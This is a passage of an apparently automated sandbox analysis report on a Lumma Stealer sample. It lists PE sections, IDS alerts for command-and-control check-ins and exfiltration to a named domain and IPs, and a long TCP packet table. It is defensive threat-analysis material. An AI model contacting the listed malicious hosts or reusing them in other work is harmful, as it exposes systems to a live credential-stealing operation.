aryoitqh	0x494000	0x1000	0x400	c0a14b2563d4f0ada5b612dde54f22b3	False	0.73828125	data	5.895360072059529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x495000	0x3000	0x2200	bf34c42fa17d4aa956ac221f2f94bbdc	False	0.06479779411764706	DOS executable (COM)	0.7129916002717924	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x493248	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T14:26:07.277886+0100	2057730	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)	1	192.168.2.5	61600	1.1.1.1	53	UDP
2024-11-21T14:26:08.874085+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-21T14:26:08.874085+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-21T14:26:09.571483+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-21T14:26:09.571483+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-21T14:26:10.940702+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-21T14:26:10.940702+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-21T14:26:11.685911+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-21T14:26:11.685911+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-21T14:26:13.264798+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-21T14:26:13.264798+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-21T14:26:15.172299+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-21T14:26:16.639243+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-21T14:26:16.639243+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-21T14:26:19.025909+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-21T14:26:19.025909+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-21T14:26:21.677248+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-21T14:26:21.677248+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-21T14:26:24.310675+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49713	188.114.96.3	443	TCP
2024-11-21T14:26:24.310675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	188.114.96.3	443	TCP
2024-11-21T14:26:24.315590+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49713	188.114.96.3	443	TCP
2024-11-21T14:26:29.454581+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49728	188.114.96.3	443	TCP
2024-11-21T14:26:29.454581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49728	188.114.96.3	443	TCP
2024-11-21T14:26:30.185835+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49728	188.114.96.3	443	TCP
2024-11-21T14:26:31.716622+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49734	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 14:26:01.360074997 CET	49674	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:01.363640070 CET	49675	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:01.485096931 CET	49673	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:07.644642115 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:07.644695997 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:07.645278931 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:07.647350073 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:07.647365093 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:08.873842001 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:08.874084949 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:08.878736973 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:08.878745079 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:08.879184008 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:08.922529936 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:08.926944017 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:08.926944017 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:08.927138090 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:09.571470022 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:09.571583033 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:09.571738005 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:09.573890924 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:09.573911905 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:09.573945999 CET	49704	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:09.573955059 CET	443	49704	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:09.620990992 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:09.621042013 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:09.621140957 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:09.621444941 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:09.621453047 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:10.940478086 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:10.940701962 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:10.942127943 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:10.942152023 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:10.942497015 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:10.943849087 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:10.943876028 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:10.943943024 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:10.969427109 CET	49674	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:10.969484091 CET	49675	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:11.094460964 CET	49673	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:11.685923100 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.685982943 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.686018944 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.686038971 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.686058044 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.686072111 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.686096907 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.686151981 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.686189890 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.686207056 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.694287062 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.694350958 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.694370985 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.702791929 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.702873945 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.702893019 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.750683069 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.750742912 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.797563076 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.806524038 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.860120058 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.896472931 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.900301933 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.900389910 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.900420904 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.900557041 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.900630951 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.900655031 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.900671005 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.900686026 CET	49705	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.900692940 CET	443	49705	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.999736071 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:11.999778032 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:11.999849081 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:12.000170946 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:12.000186920 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:13.264393091 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:13.264797926 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:13.266963959 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:13.266973972 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:13.267498016 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:13.269399881 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:13.269399881 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:13.269445896 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:13.535685062 CET	443	49703	23.1.237.91	192.168.2.5
Nov 21, 2024 14:26:13.535798073 CET	49703	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:15.172373056 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:15.172590971 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:15.172657967 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:15.172914028 CET	49706	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:15.172930956 CET	443	49706	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:15.364202976 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:15.364284992 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:15.364376068 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:15.364820004 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:15.364859104 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:16.639127016 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:16.639242887 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:16.640753031 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:16.640784979 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:16.641824961 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:16.643215895 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:16.643394947 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:16.643451929 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:16.643513918 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:16.687335014 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:17.536036968 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:17.536319017 CET	443	49707	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:17.536385059 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:17.536418915 CET	49707	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:17.794209003 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:17.794250965 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:17.794364929 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:17.794827938 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:17.794836044 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.025568962 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.025908947 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:19.026976109 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:19.026984930 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.027966022 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.029203892 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:19.029203892 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:19.029262066 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.029335976 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:19.029361010 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.936397076 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.936641932 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:19.936732054 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:19.936764002 CET	49708	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:19.936784983 CET	443	49708	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:20.404244900 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:20.404318094 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:20.404396057 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:20.404773951 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:20.404802084 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:21.676951885 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:21.677248001 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:21.678747892 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:21.678776026 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:21.679116011 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:21.680851936 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:21.680953026 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:21.680967093 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:21.788064003 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:21.788142920 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:21.788233042 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:21.790235043 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:21.790262938 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:21.840387106 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:21.840425968 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:21.840615988 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:21.840912104 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:21.840922117 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:22.438138008 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:22.438266993 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:22.438345909 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:22.452821016 CET	49709	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:22.452871084 CET	443	49709	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:23.042648077 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:23.042684078 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:23.042752028 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:23.043127060 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:23.043138981 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:23.574593067 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:23.574702978 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:23.576801062 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:23.576816082 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:23.577058077 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:23.627830029 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:23.694015026 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:23.694158077 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:23.695569038 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:23.695583105 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:23.695913076 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:23.702848911 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:23.743334055 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.189611912 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.189642906 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.189661980 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.189713001 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.189733028 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.189770937 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.310558081 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.310674906 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.312144995 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.312155008 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.312616110 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.313858986 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.314481020 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.314517975 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.314642906 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.314692974 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.314794064 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.314841032 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.314951897 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.314980030 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.315093994 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.315135002 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.315257072 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.315284967 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.315290928 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.315570116 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.315608025 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.355330944 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.355536938 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.355586052 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.355600119 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.390938044 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.391016006 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.391066074 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.391094923 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.391113043 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.391208887 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.399338007 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.399485111 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.399528980 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.399547100 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.436728001 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.436785936 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.436811924 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.436822891 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.436860085 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.436870098 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.443340063 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.443408012 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:24.487327099 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.576189995 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.576215029 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.576263905 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.576282978 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.576303959 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.576414108 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.610955000 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.610965014 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.611035109 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.611043930 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.611093044 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.630975008 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.631002903 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.631058931 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.631068945 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.631097078 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.631117105 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.652136087 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.652193069 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.652215004 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.652224064 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.652254105 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.652271986 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.722477913 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:24.786257029 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.786324978 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.786356926 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.786382914 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.786401987 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.786421061 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.805015087 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.805077076 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.805130005 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.805138111 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.805161953 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.805181026 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.819390059 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.819434881 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.821310997 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.821321964 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.821490049 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.836468935 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.836513042 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.836545944 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.836551905 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.836606979 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.851965904 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.852010965 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.852041006 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.852050066 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.852094889 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.867007971 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.867029905 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.867105961 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.867115021 CET	443	49711	13.107.246.45	192.168.2.5
